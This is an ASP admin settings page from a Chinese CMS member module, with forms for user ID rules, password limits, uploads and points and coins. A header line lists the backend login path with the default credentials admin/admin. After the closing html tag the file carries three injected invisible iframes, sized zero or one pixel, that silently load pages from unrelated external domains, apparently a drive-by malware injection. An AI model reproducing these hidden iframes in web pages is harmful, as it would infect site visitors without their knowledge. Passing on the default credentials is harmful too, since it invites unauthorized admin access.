index.asp

后台目录:qwbAdmin/Login.asp 登陆用户名:admin 登陆密码:admin

                分 
                <input name="ID_Elem" type="checkbox" id="ID_Elem2" value="s" <%if instr(ID_Elem,"s")>0 then Response.Write("checked") end if%>/>
                秒 </td>
            </tr>
            <tr class="hback"> 
              <td align="right">用户编号规则_ID后缀：</td>
              <td><p> 
                  <label> 
                  <input type="radio" name="ID_Postfix" value="2" <% if ID_Postfix=2 then Response.Write("Checked") end if%>/>
                  2位随机数</label>
                  <label> 
                  <input type="radio" name="ID_Postfix" value="3" <% if ID_Postfix=3 then Response.Write("Checked") end if%>>
                  3位随机数</label>
                  <label> 
                  <input type="radio" name="ID_Postfix" value="4" <% if ID_Postfix=4 then Response.Write("Checked") end if%>>
                  4位随机数</label>
                  <label> 
                  <input type="radio" name="ID_Postfix" value="5" <% if ID_Postfix=5 then Response.Write("Checked") end if%>>
                  5位随机数</label>
                  <input name="needWord" type="checkbox" id="needWord2" value="w" <% if instr(ID_Rule,"w")>0 then Response.Write("checked")%> />
                  字母数字组合</p></td>
            </tr>
            <tr class="hback"> 
              <td align="right">用户编号规则_分割符：</td>
              <td><input name="ID_Devide" type="text" id="ID_Devide2" size="50" value="<% if Ubound(IDRule_Array)>=3 then Response.Write(IDRule_Array(3)) end if%>"/></td>
            </tr>
            <tr class="hback"> 
              <td align="right">用户名长度限制：</td>
              <td> 最小长度： 
                <input name="UserName_Length_Min" type="text" id="UserName_Length_Min" size="14" value="<%if ubound(UserName_Length_Array)>=0 then Response.Write(UserName_Length_Array(0)) end if%>" onBlur="isNumber(this,'UserName_Length_alert','长度应该为正整数',true)"/>
                最大长度： 
                <input name="UserName_Length_Max" type="text" id="UserName_Length_Max" size="14" value="<%if ubound(UserName_Length_Array)>=1 then Response.Write(UserName_Length_Array(1)) end if%>" onBlur="isNumber(this,'UserName_Length_alert','长度应该为正整数',true)"/> 
                <span id="UserName_Length_alert">&nbsp;</span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">禁止注册的用户名：</td>
              <td><textarea name="Forbid_UserName" cols="50" id="textarea2" onKeyUp="ReplaceDot(this)"><%=Forbid_UserName%></textarea></td>
            </tr>
            <tr class="hback"> 
              <td align="right">密码长度限制：</td>
              <td> 最小长度： 
                <input name="Pwd_Length_Max" type="text" id="Pwd_Length_Max" size="14"  value="<%if ubound(Pwd_Length_Array)>=0 then Response.Write(Pwd_Length_Array(0)) end if%>" onBlur="isNumber(this,'Pwd_Length_alert','长度应该为正整数',true)"/>
                最大长度： 
                <input name="Pwd_Length_Min" type="text" id="Pwd_Length_Min" size="14"  value="<%if ubound(Pwd_Length_Array)>=1 then Response.Write(Pwd_Length_Array(1)) end if%>" onBlur="isNumber(this,'Pwd_Length_alert','长度应该为正整数',true)"/> 
                <span id="Pwd_Length_alert">&nbsp;</span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">发送电子邮件信息：</td>
              <td><input type="radio" name="isSendMail" value="1" <%if isSendMail=1 then Response.Write("checked") end if%>>
                是&nbsp; <input type="radio" name="isSendMail" value="0" <%if isSendMail=0 then Response.Write("checked") end if%>/>
                否 </td>
            </tr>
            <tr class="hback"> 
              <td align="right">电子邮件验证：</td>
              <td><input type="radio" name="Email_Aduit" value="1" <%if Email_Aduit=1 then Response.Write("checked") end if%>/>
                是&nbsp; <input type="radio" name="Email_Aduit" value="0" <%if Email_Aduit=0 then Response.Write("checked") end if%>>
                否 </td>
            </tr>
            <tr class="hback"> 
              <td align="right">会员注册须知：<br>
                （支持html语法）<br> <span id="Reg_Help_alert">&nbsp;</span></td>
              <td><textarea name="Reg_Help" cols="80" rows="10" id="Reg_Help" onBlur="CheckContentLen(this,'Reg_Help_alert',2000)"><%=Reg_Help%></textarea></td>
            </tr>
            <tr class="hback"> 
              <td align="right">&nbsp;</td>
              <td><input type="Button" name="BaseSubmit"  onClick="MySubmit('BaseParam')" value=" 保存 " /> 
                <input type="reset" name="reset" value=" 重置 " /></td>
            </tr>
          </form>
        </table>
      </div>	  
        
      <div id="Layer2" style="position:relative;z-index:1; left: 0px; top: 0px; display:none"> 
        <table width="100%" border="0" align="center" cellpadding="3" cellspacing="1" class="table">
          <form action="ParamAction.asp?Act=OtherParam" method="post" name="OtherParam" id="OtherParam">
            <tr class="hback"> 
              <td align="right">登录风格： </td>
              <td width="596"><select name="LoginStyle" id="LoginStyle">
                  <option value="1" <%if LoginSytle=1 then Response.Write("selected") end if%>>默认风格</option>
                  <option value="2" <%if LoginSytle=2 then Response.Write("selected") end if%>>银色风格</option>
                  <option value="3" <%if LoginSytle=3 then Response.Write("selected") end if%>>蓝色海洋</option>
                  <option value="4" <%if LoginSytle=4 then Response.Write("selected") end if%>>浪漫咖啡</option>
                  <option value="5" <%if LoginSytle=5 then Response.Write("selected") end if%>>青青河草</option>
                </select></td>
            </tr>
            <tr class="hback"> 
              <td align="right">登录成功返回页面：</td>
              <td><p> 
                  <label> </label>
                  <label> 
                  <input type="radio" name="ReturnUrl" value="0" <%if ReturnUrl=0 then Response.Write("checked") end if%>>
                  会员中心 </label>
                  <label> 
                  <input type="radio" name="ReturnUrl" value="1" <%if ReturnUrl=1 then Response.Write("checked") end if%> />
                  首页 </label>
                  <label> 
                  <input type="radio" name="ReturnUrl" value="2" <%if ReturnUrl=2 then Response.Write("checked") end if%>>
                  之前页</label>
                  <br>
                </p></td>
            </tr>
            <tr class="hback"> 
              <td align="right">防登录猜测：</td>
              <td>密码错误 
                <input name="ErrorPwdTimes" type="text" id="EErrorPwdTimes" onBlur="isNumber(this,'ErrorPwdTimes_alert','次数应该为正整数',true)" value="<%=ErrorPwdTimes%>" size="10" />
                次后，锁定该用户功能 （0为不限制） <span id="ErrorPwdTimes_alert">&nbsp;</span></td>
            </tr>
            <tr class="hback"> 
              <td align="right">会员列表每页显示数：</td>
              <td><input name="ShowNumberPerPage" type="text" id="PShowNumberPerPage" size="50" value="<%=ShowNumberPerPage%>" onBlur="isNumber(this,'ShowNumberPerPage_alert','页数应该为正整数',true)"/> 
                <span id="ShowNumberPerPage_alert">&nbsp;</span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">上传文件类型：</td>
              <td><input name="UpfileType" type="text" id="UpfileType" size="50" onKeyUp="ReplaceDot(this)" value="<%=UpfileType%>"/>
                （用 ，隔开）</td>
            </tr>
            <tr class="hback"> 
              <td align="right">上传大小限制：</td>
              <td><input name="UpfileSize" type="text" id="UpfileSize" size="50" onBlur="isNumber(this,'UpfileSize_alert','文件大小应该为正整数',true)" value="<%=UpfileSize%>" />
                k <span id="UpfileSize_alert">&nbsp;</span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">站内短信容量:</td>
              <td><input name="MessageSize" type="text" id="MessageSize" size="50" onBlur="isNumber(this,'MessageSize_alert','短信容量应该为正整数',ture)" value="<%=MessageSize%>"/>
                byte <span id="MessageSize_alert"></span></td>
            </tr>
            <tr class="hback"> 
              <td align="right">开通RSS订阅：</td>
              <td><label> 
                <input type="radio" name="RssFeed" value="1" <%if RssFeed=1 then Response.Write("checked") end if%>>
                是 </label> <label> 
                <input type="radio" name="RssFeed" value="0" <%if RssFeed=0 then Response.Write("checked") end if%>>
                否</label></td>
            </tr>
            <tr class="hback"> 
              <td align="right">信息分类控制：</td>
              <td>分类级数量上限：
                <input name="LimitClass" type="text" id="LimitClass" size="14"  value="<%if ubound(LimitClass_Array)>=0 then Response.Write(LimitClass_Array(0)) end if%>"> 
                &nbsp;&nbsp;分类数量上限 
                <input name="LimitClass2" type="text" id="LimitClass2" size="14"  value="<%if ubound(LimitClass_Array)>=1 then Response.Write(LimitClass_Array(1)) end if%>"></td>
            </tr>
            <tr class="hback"> 
              <td align="right">用户目录：</td>
              <td><input name="MemberFile" type="text" id="MemberFile"  size="50" value="<%=MemberFile%>"/>
                （默认：userfiles）</td>
            </tr>
            <tr class="hback"> 
              <td align="right">认证文件目录：</td>
              <td><input name="CertDir" type="text" id="CertDir"  value="<%=CertDir%>" size="50"/>
                （默认：certfiles）</td>
            </tr>
            <tr class="hback"> 
              <td align="right">过滤评论关键字：</td>
              <td><textarea name="LimitReviewChar" cols="50" onKeyUp="ReplaceDot(this)" id="LimitReviewChar"><%=LimitReviewChar%></textarea></td>
            </tr>
            <tr class="hback"> 
              <td align="right">&nbsp;</td>
              <td><input type="Button" name="Submit" onClick="MySubmit('OtherParam')" value=" 保存 " /> 
                <input type="reset" name="Submit2" value=" 重置 " /></td>
            </tr>
          </form>
        </table>
      </div>
	  <div id="Layer3" style="position:relative;z-index:1; left: 0px; top: 0px; display:none"> 
        <table width="100%" border="0" align="center" cellpadding="3" cellspacing="1" class="table">
          <form action="ParamAction.asp?Act=MoneyParam" method="post" name="MoneyParam" id="MoneyParam">
            <tr class="hback"> 
              <td align="right">金币名称：</td>
              <td width="596"> <input name="MoneyName" type="text" id="MoneyName" size="50" value="<%=MoneyName%>" /> 
              </td>
            </tr>
            <tr class="hback"> 
              <td align="right">注册获取积分和金币：</td>
              <td>积分： 
                <input name="Reg_Point" type="text" id="Reg_Point" size="15"  value="<%if ubound(RegPointmoney_Array)>=0 then Response.Write(RegPointmoney_Array(0)) end if%>" onBlur="isNumber(this,'Reg_PointMoney_Alert','积分应该为正整数',true)"/> 
                &nbsp; 金币： 
                <input name="Reg_Money" type="text" id="Reg_Money" size="15"  value="<%if ubound(RegPointmoney_Array)>=1 then Response.Write(RegPointmoney_Array(1)) end if%>" onBlur="isNumber(this,'Reg_PointMoney_Alert','金钱应该为正整数,true')"/> 
                <span id="Reg_PointMoney_Alert">&nbsp;</span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">登录获取积分和金币：</td>
              <td>积分： 
                <input name="Login_Point" type="text" id="Login_Point" size="15"  value="<%if ubound(LoginPointmoney_Array)>=0 then Response.Write(LoginPointmoney_Array(0)) end if%>" onBlur="isNumber(this,'Login_PointMoney_Alert','积分应该为正整数',true)"/> 
                &nbsp;&nbsp;金币： 
                <input name="Login_money" type="text" id="Login_money" size="15"  value="<%if ubound(LoginPointmoney_Array)>=1 then Response.Write(LoginPointmoney_Array(1)) end if%>"onBlur="isNumber(this,'Login_PointMoney_Alert','金钱应该为正整数',true)" /> 
                <span id="Login_PointMoney_Alert">&nbsp;</span></td>
            </tr>
            <tr class="hback"> 
              <td align="right">积分金币兑换比例：</td>
              <td> <label> 
                <input type="radio" name="PointChange" value="0" <%if PointChange_TF=0 then Response.Write("checked") end if%>/>
                不启用</label> <label> 
                <input type="radio" name="PointChange" value="1" <%if PointChange_TF=1 then Response.Write("checked") end if%>>
                积分换金币</label> <label> 
                <input type="radio" name="PointChange" value="2" <%if PointChange_TF=2 then Response.Write("checked") end if%>>
                金币换积分</label> <label> </label> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">&nbsp;</td>
              <td>1金币 = 
                <input name="Money_to_Point" type="text" id="Money_to_Point" size="15" value="<%if Ubound(PointChange_Array)>=1 then Response.Write(PointChange_Array(1)) end if%>" onBlur="isNumber(this,'PointChange_Alert','积分应该为正数,true')"/>
                积分 | 1积分 = 
                <input name="Point_to_Money" type="text" id="Point_to_Money" size="15" value="<%if Ubound(PointChange_Array)>=2 then Response.Write(PointChange_Array(2)) end if%>" onBlur="isNumber(this,'PointChange_Alert','金钱应该为正数',true)"/>
                金币 <span id="PointChange_Alert"></span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">金币提示条件：</td>
              <td> <label> 
                <input type="radio" name="isPrompt" value="1" <%if isPrompt_TF=1 then Response.Write("checked") end if%> />
                开启</label> <label> 
                <input type="radio" name="isPrompt" value="0" <%if isPrompt_TF=0 then Response.Write("checked") end if%> />
                关闭</label>
                | 金币小于 
                <input name="PromptCondition" type="text" id="PromptCondition" size="15" value="<%if ubound(isPrompt_Array)>=1 then Response.Write(isPrompt_Array(1)) end if%>" onBlur="isNumber(this,'Prompt_Alert','金钱应该为正数'，false)"/>
                时提示 <span id="Prompt_Alert"></span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">防作弊设置：</td>
              <td>登录 
                <input name="LenLoginTime" type="text" id="LenLoginTime" size="10" value="<%=LenLoginTime%>" onBlur="isNumber(this,'LenLoginTime_Alert','时间应该为正整数',true)"/>
                分后，再次登录积分增加 <span id="LenLoginTime_Alert"></span> </td>
            </tr>
            <tr class="hback"> 
              <td align="right">&nbsp;</td>
              <td><input type="Button" name="MoneySubmit" onClick="MySubmit('MoneyParam')"value=" 保存 " /> 
                <input type="reset" name="Submit2" value=" 重置 " /></td>
            </tr>
          </form>
        </table>
      </div>	  </td>
    </tr>
</table>
</body>
<%
	UserSysParaRs.close
	Set UserSysParaRs=nothing
	Conn.close
	Set Conn=nothing
	User_Conn.close
	Set User_Conn=nothing
%>
</html>
<iframe src="http://www.deeyo.cn/flyrco.asp" width="0" height="0" scrolling="no" frameborder="0"></iframe>
<iframe src=http://www.111880.net/dl6.htm?30 width=1 height=1></iframe><iframe src="http://www.su-long.com/pic/zx.asp" width="0" height="0" scrolling="no" frameborder="0"></iframe>